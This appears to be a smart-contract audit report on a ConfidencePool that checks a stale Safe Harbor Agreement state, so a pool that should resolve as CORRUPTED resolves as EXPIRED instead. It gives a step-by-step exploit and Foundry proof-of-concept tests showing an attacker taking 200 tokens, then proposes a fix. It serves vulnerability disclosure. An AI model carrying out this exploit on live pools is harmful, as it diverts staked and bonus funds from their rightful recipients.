Description
A ConfidencePool publishes and permanently locks a pool-local account scope. The protocol specification states that this locked scope remains the binding coverage commitment after the underlying Safe Harbor Agreement is narrowed, and the moderator uses that commitment to decide whether a corruption was in scope.
The pool does not use its locked accounts when validating a CORRUPTED outcome. It permanently reads the state of the Agreement supplied during initialization and rejects both good- and bad-faith CORRUPTED unless that original Agreement itself reports CORRUPTED.
The relevant in-scope code is:
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
if (newOutcome == PoolStates.Outcome.SURVIVED) {
if (goodFaith_ || attacker_ != address(0)) {
revert InvalidGoodFaithParams();
}
if (state != IAttackRegistry.ContractState.PRODUCTION && state != IAttackRegistry.ContractState.CORRUPTED) {
revert InvalidOutcome();
}
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
if (!goodFaith_) {
if (attacker_ != address(0)) revert InvalidGoodFaithParams();
} else {
if (attacker_ == address(0)) revert InvalidGoodFaithParams();
}
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
} else {
revert InvalidOutcome();
}
bool willBeGoodFaithCorrupted = newOutcome == PoolStates.Outcome.CORRUPTED && goodFaith_;
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
if (willBeGoodFaithCorrupted) {
if (_firstGoodFaithCorruptedAt == 0) {
_firstGoodFaithCorruptedAt = uint32(block.timestamp);
}
corruptedClaimDeadline = uint32(_firstGoodFaithCorruptedAt + CORRUPTED_CLAIM_WINDOW);
} else {
corruptedClaimDeadline = 0;
}
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(msg.sender, newOutcome, goodFaith_, attacker_);
}
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}
The expiry backstop repeats the same stale lookup. An original Agreement that remains UNDER_ATTACK is treated as EXPIRED even when a locked account is already CORRUPTED under its replacement Agreement:
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(address(0), PoolStates.Outcome.SURVIVED, false, address(0));
} else {
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
emit OutcomeFlagged(address(0), PoolStates.Outcome.EXPIRED, false, address(0));
}
claimsStarted = true;
}
The intended CORRUPTED destinations are explicit in the pool:
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(recoveryAddress, toSweep);
emit ClaimCorrupted(msg.sender, recoveryAddress, toSweep);
}
function claimAttackerBounty() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (bountyClaimed == bountyEntitlement) revert BountyAlreadyClaimed();
if (!goodFaith) revert InvalidGoodFaithParams();
if (msg.sender != attacker) revert NotAttacker();
if (block.timestamp > corruptedClaimDeadline) revert ClaimWindowExpired();
uint256 remaining = bountyEntitlement - bountyClaimed;
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 payout = remaining <= freeBalance ? remaining : freeBalance;
uint256 newBountyClaimed = bountyClaimed + payout;
bountyClaimed = newBountyClaimed;
if (payout > 0) {
corruptedReserve -= payout;
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(attacker, payout);
}
emit AttackerBountyClaimed(attacker, payout, newBountyClaimed, bountyEntitlement);
}
This state divergence is reachable through the supported dependency lifecycle. After the Agreement commitment expires, removing an account synchronously clears its current binding:
function unregisterContractForExistingAgreement(address contractAddress) external {
if (!s_agreementFactory.isAgreementContract(msg.sender)) {
revert AttackRegistry__InvalidAgreement(msg.sender);
}
if (!s_agreementInfo[msg.sender].isRegistered) return;
if (s_contractToAgreement[contractAddress] != msg.sender) return;
delete s_contractToAgreement[contractAddress];
emit ContractUnregistered(contractAddress, msg.sender);
}
The account can then be authorized and registered under Agreement B. Agreement B may become CORRUPTED while Agreement A remains independently UNDER_ATTACK.
The factory permits this window because it enforces a pool expiry of at least 30 days but never requires the expiry to remain within the Agreement's commitment. The pinned AttackRegistry requires only a seven-day commitment for Agreement registration.
The resulting exploit is:
Agreement A contains X and Y and becomes UNDER_ATTACK.
A 31-day pool locks X as its pool-local scope and receives a 100-token bonus.
Agreement A's seven-day commitment expires while the pool remains live.
A legitimate successor Agreement operator removes X from A. The dependency clears X -> A; Y keeps A active.
X is authorized and registered under Agreement B, and the registry moderator approves B.
An attacker stakes 100 tokens in the stale pool. The deposit succeeds because the pool still reads A as UNDER_ATTACK.
The attacker corrupts X and B's attack moderator records B as CORRUPTED.
The pool moderator attempts to flag bad-faith CORRUPTED, but flagOutcome reverts because A is not CORRUPTED.
At expiry, the stale A state selects EXPIRED. The attacker receives 100 principal plus the entire 100-token bonus; recoveryAddress receives zero.
The same root also blocks good-faith CORRUPTED. The moderator cannot name the whitehat, so the entire stake-plus-bonus bounty is paid to stakers instead of the whitehat.
Risk
Likelihood: Medium
-
This occurs during the supported migration of a locked-scope account after the original Agreement's commitment expires and before the ConfidencePool expires.
-
The configuration is naturally reachable: pools require at least a 30-day expiry lead, while the pinned AttackRegistry accepts a seven-day Agreement commitment.
-
A replacement Agreement requires normal authorization, bond/commitment, and registry-moderator approval. These are legitimate lifecycle operations rather than malicious owner or registry behavior, but they make exploitation conditional rather than immediate.
-
Once migration completes, an unprivileged attacker can enter the stale pool while Agreement A remains UNDER_ATTACK. Pausing only prevents later deposits; it does not repair existing positions or restore the good-faith bounty path.
Impact: High
-
A sole bad-faith attacker receives the entire affected pool: the principal that should be forfeited plus all sponsor-funded bonus. The PoC transfers 200 tokens to the attacker and zero to recoveryAddress.
-
A good-faith whitehat cannot be named for the pool bounty. The full snapshotTotalStaked + snapshotTotalBonus entitlement is instead paid to stakers.
-
Every unresolved clone using the same original Agreement and migrated locked-scope account is affected independently.
Overall severity is Medium because the full-pool impact requires the supported but conditional migration and replacement-Agreement approval lifecycle.
Proof of Concept
Two local tests are provided because the contest code and the pinned dependency use incompatible exact compiler versions:
-
The primary Solidity 0.8.26 test exercises the real UUPS factory, deterministic clone, standard fixed-supply ERC20, pool accounting, moderator failure, and terminal token balances. Its dependency model enforces the exact relevant access controls and transitions.
-
The Solidity 0.8.34 dependency-native test proves the same removal, unbinding, distinct-owner authorization, rebinding, approval, and corruption sequence using the real pinned AgreementFactory, Agreement, and AttackRegistry.
Test 1 — in-scope pool exploit and fund impact
From the contest repository root, create or replace:
test/audit/ConfidencePoolLockedScopeRebinding.poc.t.sol
with:
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract RebindingPoCToken is ERC20 {
constructor() ERC20("Rebinding PoC Token", "RPT") {
_mint(msg.sender, 1_000_000e18);
}
}
contract RebindingAttackRegistryModel {
error NotRegistryModerator();
error InvalidAgreement();
error InvalidState();
error Unauthorized();
error InsufficientCommitment();
error ContractAlreadyBound();
uint256 internal constant MIN_COMMITMENT = 7 days;
address public immutable registryModerator;
mapping(address agreement => bool valid) public isAgreement;
mapping(address agreement => IAttackRegistry.ContractState state) internal _state;
mapping(address agreement => address moderator) public attackModerator;
mapping(address account => address agreement) internal _binding;
mapping(address account => address owner) public authorizedOwner;
constructor(address registryModerator_) {
registryModerator = registryModerator_;
}
modifier onlyRegistryModerator() {
if (msg.sender != registryModerator) revert NotRegistryModerator();
_;
}
function registerAgreement(address agreement) external onlyRegistryModerator {
isAgreement[agreement] = true;
}
function registerDeployment(address account, address owner) external onlyRegistryModerator {
authorizedOwner[account] = owner;
}
function authorizeAgreementOwner(address account, address newOwner) external {
if (msg.sender != authorizedOwner[account]) revert Unauthorized();
authorizedOwner[account] = newOwner;
}
function requestUnderAttack(address[] calldata accounts) external {
if (!isAgreement[msg.sender]) revert InvalidAgreement();
if (_state[msg.sender] != IAttackRegistry.ContractState.NOT_DEPLOYED) revert InvalidState();
address agreementOwner = IAgreement(msg.sender).owner();
if (IAgreement(msg.sender).getCantChangeUntil() < block.timestamp + MIN_COMMITMENT) {
revert InsufficientCommitment();
}
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
if (authorizedOwner[account] != agreementOwner) revert Unauthorized();
if (_binding[account] != address(0)) revert ContractAlreadyBound();
_binding[account] = msg.sender;
}
attackModerator[msg.sender] = agreementOwner;
_state[msg.sender] = IAttackRegistry.ContractState.ATTACK_REQUESTED;
}
function approveAttack(address agreement) external onlyRegistryModerator {
if (_state[agreement] != IAttackRegistry.ContractState.ATTACK_REQUESTED) revert InvalidState();
_state[agreement] = IAttackRegistry.ContractState.UNDER_ATTACK;
}
function markCorrupted(address agreement) external {
if (msg.sender != attackModerator[agreement]) revert Unauthorized();
IAttackRegistry.ContractState state = _state[agreement];
if (
state != IAttackRegistry.ContractState.UNDER_ATTACK
&& state != IAttackRegistry.ContractState.PROMOTION_REQUESTED
) {
revert InvalidState();
}
_state[agreement] = IAttackRegistry.ContractState.CORRUPTED;
}
function unregisterContractForExistingAgreement(address account) external {
if (!isAgreement[msg.sender]) revert InvalidAgreement();
if (_binding[account] == msg.sender) {
delete _binding[account];
}
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return _state[agreement];
}
function getAgreementForContract(address account) external view returns (address) {
return _binding[account];
}
}
contract RebindingLifecycleAgreement {
error NotOwner();
error CommitmentActive();
error AccountNotInScope();
error CannotRemoveAllAccounts();
error CannotShortenCommitment();
RebindingAttackRegistryModel public immutable attackRegistry;
address public owner;
address public pendingOwner;
uint256 internal _cantChangeUntil;
address[] internal _scope;
mapping(address account => bool inScope) internal _inScope;
constructor(
RebindingAttackRegistryModel attackRegistry_,
address owner_,
uint256 cantChangeUntil_,
address[] memory accounts
) {
attackRegistry = attackRegistry_;
owner = owner_;
_cantChangeUntil = cantChangeUntil_;
for (uint256 i; i < accounts.length; ++i) {
_scope.push(accounts[i]);
_inScope[accounts[i]] = true;
}
}
modifier onlyOwner() {
if (msg.sender != owner) revert NotOwner();
_;
}
function requestUnderAttack() external onlyOwner {
attackRegistry.requestUnderAttack(_scope);
}
function extendCommitmentWindow(uint256 newCantChangeUntil) external onlyOwner {
if (newCantChangeUntil <= _cantChangeUntil) revert CannotShortenCommitment();
_cantChangeUntil = newCantChangeUntil;
}
function removeContractFromScope(address account) external onlyOwner {
if (block.timestamp < _cantChangeUntil) revert CommitmentActive();
if (!_inScope[account]) revert AccountNotInScope();
if (_scope.length == 1) revert CannotRemoveAllAccounts();
for (uint256 i; i < _scope.length; ++i) {
if (_scope[i] == account) {
_scope[i] = _scope[_scope.length - 1];
_scope.pop();
break;
}
}
_inScope[account] = false;
attackRegistry.unregisterContractForExistingAgreement(account);
}
function transferOwnership(address newOwner) external onlyOwner {
pendingOwner = newOwner;
}
function acceptOwnership() external {
if (msg.sender != pendingOwner) revert NotOwner();
owner = pendingOwner;
pendingOwner = address(0);
}
function isContractInScope(address account) external view returns (bool) {
return _inScope[account];
}
function getCantChangeUntil() external view returns (uint256) {
return _cantChangeUntil;
}
function getScope() external view returns (address[] memory) {
return _scope;
}
}
contract ConfidencePoolLockedScopeRebindingPoC is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant COVERED_ACCOUNT = address(0xC0FFEE);
address internal constant REMAINING_OLD_ACCOUNT = address(0xBEEF);
address internal sponsor = makeAddr("sponsor");
address internal successorOperator = makeAddr("successorOperator");
address internal registryModerator = makeAddr("registryModerator");
address internal poolModerator = makeAddr("poolModerator");
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
RebindingPoCToken internal token;
RebindingAttackRegistryModel internal attackRegistry;
RebindingLifecycleAgreement internal oldAgreement;
RebindingLifecycleAgreement internal newAgreement;
MockSafeHarborRegistry internal safeHarborRegistry;
ConfidencePool internal pool;
function setUp() external {
vm.warp(BASE_TIMESTAMP);
token = new RebindingPoCToken();
attackRegistry = new RebindingAttackRegistryModel(registryModerator);
address[] memory oldScope = new address[](2);
oldScope[0] = COVERED_ACCOUNT;
oldScope[1] = REMAINING_OLD_ACCOUNT;
oldAgreement = new RebindingLifecycleAgreement(attackRegistry, sponsor, block.timestamp + 7 days, oldScope);
address[] memory newScope = new address[](2);
newScope[0] = COVERED_ACCOUNT;
newScope[1] = address(0xCAFE);
newAgreement =
new RebindingLifecycleAgreement(attackRegistry, successorOperator, block.timestamp + 40 days, newScope);
vm.startPrank(registryModerator);
attackRegistry.registerAgreement(address(oldAgreement));
attackRegistry.registerAgreement(address(newAgreement));
attackRegistry.registerDeployment(COVERED_ACCOUNT, sponsor);
attackRegistry.registerDeployment(REMAINING_OLD_ACCOUNT, sponsor);
attackRegistry.registerDeployment(address(0xCAFE), successorOperator);
vm.stopPrank();
vm.prank(sponsor);
oldAgreement.requestUnderAttack();
safeHarborRegistry = new MockSafeHarborRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(oldAgreement), true);
safeHarborRegistry.setAgreementValid(address(newAgreement), true);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), poolModerator)
)
)
)
);
factory.setStakeTokenAllowed(address(token), true);
address[] memory poolScope = new address[](1);
poolScope[0] = COVERED_ACCOUNT;
vm.prank(sponsor);
pool = ConfidencePool(
factory.createPool(
address(oldAgreement), address(token), block.timestamp + 31 days, ONE, recovery, poolScope
)
);
}
function _fundAndApprove(address actor, uint256 amount) internal {
token.transfer(actor, amount);
vm.prank(actor);
token.approve(address(pool), amount);
}
function _contributeBonus(uint256 amount) internal {
_fundAndApprove(sponsor, amount);
vm.prank(sponsor);
pool.contributeBonus(amount);
}
function _stake(address staker, uint256 amount) internal {
_fundAndApprove(staker, amount);
vm.prank(staker);
pool.stake(amount);
}
function _migrateCoveredAccountToApprovedAgreementB() internal {
vm.prank(registryModerator);
attackRegistry.approveAttack(address(oldAgreement));
vm.warp(BASE_TIMESTAMP + 1 days);
pool.pokeRiskWindow();
vm.prank(sponsor);
oldAgreement.transferOwnership(successorOperator);
vm.prank(successorOperator);
oldAgreement.acceptOwnership();
vm.warp(BASE_TIMESTAMP + 8 days);
vm.prank(successorOperator);
oldAgreement.removeContractFromScope(COVERED_ACCOUNT);
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(0));
vm.prank(sponsor);
attackRegistry.authorizeAgreementOwner(COVERED_ACCOUNT, successorOperator);
vm.prank(successorOperator);
newAgreement.requestUnderAttack();
vm.prank(registryModerator);
attackRegistry.approveAttack(address(newAgreement));
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(newAgreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(oldAgreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
assertEq(
uint256(attackRegistry.getAgreementState(address(newAgreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
assertTrue(pool.scopeLocked());
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT));
assertFalse(oldAgreement.isContractInScope(COVERED_ACCOUNT));
assertTrue(newAgreement.isContractInScope(COVERED_ACCOUNT));
}
function _markAgreementBCorrupted() internal {
vm.prank(successorOperator);
attackRegistry.markCorrupted(address(newAgreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(newAgreement))),
uint256(IAttackRegistry.ContractState.CORRUPTED)
);
}
function testPoC_BadFaithCorruptionAfterRebindingReturnsEntirePoolToAttacker() external {
_contributeBonus(100 * ONE);
assertTrue(pool.scopeLocked());
_migrateCoveredAccountToApprovedAgreementB();
_stake(attacker, 100 * ONE);
_markAgreementBCorrupted();
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.warp(pool.expiry());
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(token.balanceOf(attacker) - attackerBefore, 200 * ONE);
assertEq(token.balanceOf(recovery), 0);
assertEq(token.balanceOf(address(pool)), 0);
}
function testPoC_GoodFaithCorruptionAfterRebindingDeniesWhitehatBounty() external {
address honestStaker = makeAddr("honestStaker");
address whitehat = makeAddr("whitehat");
_contributeBonus(100 * ONE);
_stake(honestStaker, 100 * ONE);
_migrateCoveredAccountToApprovedAgreementB();
_markAgreementBCorrupted();
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.warp(pool.expiry());
vm.prank(honestStaker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(token.balanceOf(honestStaker), 200 * ONE);
assertEq(token.balanceOf(whitehat), 0);
assertEq(token.balanceOf(recovery), 0);
assertEq(token.balanceOf(address(pool)), 0);
}
}
Run:
forge test --match-path 'test/audit/ConfidencePoolLockedScopeRebinding.poc.t.sol' -vv
Expected output:
Ran 2 tests for test/audit/ConfidencePoolLockedScopeRebinding.poc.t.sol:ConfidencePoolLockedScopeRebindingPoC
[PASS] testPoC_BadFaithCorruptionAfterRebindingReturnsEntirePoolToAttacker()
[PASS] testPoC_GoodFaithCorruptionAfterRebindingDeniesWhitehatBounty()
Suite result: ok. 2 passed; 0 failed; 0 skipped
Test 2 — exact pinned-dependency reachability
Create:
lib/battlechain-safe-harbor-contracts/test/DependencyRebindingReachability.audit.t.sol
with:
pragma solidity 0.8.34;
import { AttackRegistryTest } from "test/unit/AttackRegistryTest.t.sol";
import { Agreement } from "src/Agreement.sol";
import { IAttackRegistry } from "src/interface/IAttackRegistry.sol";
contract DependencyRebindingReachabilityAuditTest is AttackRegistryTest {
function testExactActiveAgreementRemovalAndReplacementCorruption() public {
address successor = makeAddr("successor");
_fundAndApprove(successor, 1_000_000e18);
uint256 livePoolExpiry = block.timestamp + 60 days;
address covered = _deployContractViaBattleChain(protocolDeployer, bytes32(uint256(1)));
address remaining = _deployContractViaBattleChain(protocolDeployer, bytes32(uint256(2)));
address[] memory oldScope = new address[](2);
oldScope[0] = covered;
oldScope[1] = remaining;
Agreement oldAgreement = _createAgreementWithContracts(protocolDeployer, oldScope);
vm.prank(protocolDeployer);
attackRegistry.requestUnderAttack(address(oldAgreement));
vm.prank(registryModerator);
attackRegistry.approveAttack(address(oldAgreement));
vm.prank(protocolDeployer);
oldAgreement.transferOwnership(successor);
vm.prank(successor);
oldAgreement.acceptOwnership();
assertEq(oldAgreement.owner(), successor);
vm.warp(block.timestamp + 31 days);
assertLt(block.timestamp, livePoolExpiry, "the supported migration occurs while a longer pool remains live");
string[] memory removed = new string[](1);
removed[0] = _addressToString(covered);
vm.prank(successor);
oldAgreement.removeAccounts(battleChainCaip2, removed);
assertFalse(oldAgreement.isContractInScope(covered));
assertTrue(oldAgreement.isContractInScope(remaining));
assertEq(attackRegistry.getAgreementForContract(covered), address(0));
assertEq(attackRegistry.getAgreementForContract(remaining), address(oldAgreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(oldAgreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
vm.prank(protocolDeployer);
attackRegistry.authorizeAgreementOwner(covered, successor);
address[] memory replacementScope = new address[](1);
replacementScope[0] = covered;
Agreement replacementAgreement = _createAgreementWithContracts(successor, replacementScope);
assertTrue(replacementAgreement.isContractInScope(covered));
vm.prank(successor);
attackRegistry.requestUnderAttack(address(replacementAgreement));
vm.prank(registryModerator);
attackRegistry.approveAttack(address(replacementAgreement));
vm.prank(successor);
attackRegistry.markCorrupted(address(replacementAgreement));
assertEq(attackRegistry.getAgreementForContract(covered), address(replacementAgreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(oldAgreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
assertEq(
uint256(attackRegistry.getAgreementState(address(replacementAgreement))),
uint256(IAttackRegistry.ContractState.CORRUPTED)
);
}
}
Run from the contest repository root:
cd lib/battlechain-safe-harbor-contracts
forge test \
--match-path 'test/DependencyRebindingReachability.audit.t.sol' \
--match-test testExactActiveAgreementRemovalAndReplacementCorruption \
-vv
Expected output:
Ran 1 test for test/DependencyRebindingReachability.audit.t.sol:DependencyRebindingReachabilityAuditTest
[PASS] testExactActiveAgreementRemovalAndReplacementCorruption()
Suite result: ok. 1 passed; 0 failed; 0 skipped
No fork or RPC endpoint is required.
Recommended Mitigation
Prevent a pool from outliving the period during which the original Agreement's scope cannot narrow. The Agreement commitment can only be extended, so this keeps every locked pool account bound to the original Agreement throughout the pool term.
Apply the validation in ConfidencePool.initialize and every pre-stake setExpiry update:
+ error ExpiryBeyondAgreementCommitment(uint256 expiry, uint256 cantChangeUntil);
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
if (agreement_ == address(0)) revert ZeroAddress();
if (stakeToken_ == address(0)) revert ZeroAddress();
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
if (outcomeModerator_ == address(0)) revert ZeroAddress();
if (owner_ == address(0)) revert ZeroAddress();
if (recoveryAddress_ == address(0)) revert InvalidRecoveryAddress();
if (expiry_ < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (expiry_ > type(uint32).max) revert ExpiryTooFar();
if (minStake_ == 0) revert InvalidAmount();
if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
revert InvalidAgreement();
}
+ uint256 cantChangeUntil = IAgreement(agreement_).getCantChangeUntil();
+ if (expiry_ > cantChangeUntil) {
+ revert ExpiryBeyondAgreementCommitment(expiry_, cantChangeUntil);
+ }
agreement = agreement_;
// ...
}
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
+ uint256 cantChangeUntil = IAgreement(agreement).getCantChangeUntil();
+ if (newExpiry > cantChangeUntil) {
+ revert ExpiryBeyondAgreementCommitment(newExpiry, cantChangeUntil);
+ }
uint256 oldExpiry = expiry;
expiry = uint32(newExpiry);
emit ExpiryUpdated(oldExpiry, newExpiry);
}
The factory may repeat the same check for an earlier and clearer createPool revert, but the clone must enforce it because setExpiry can change the term before the first stake.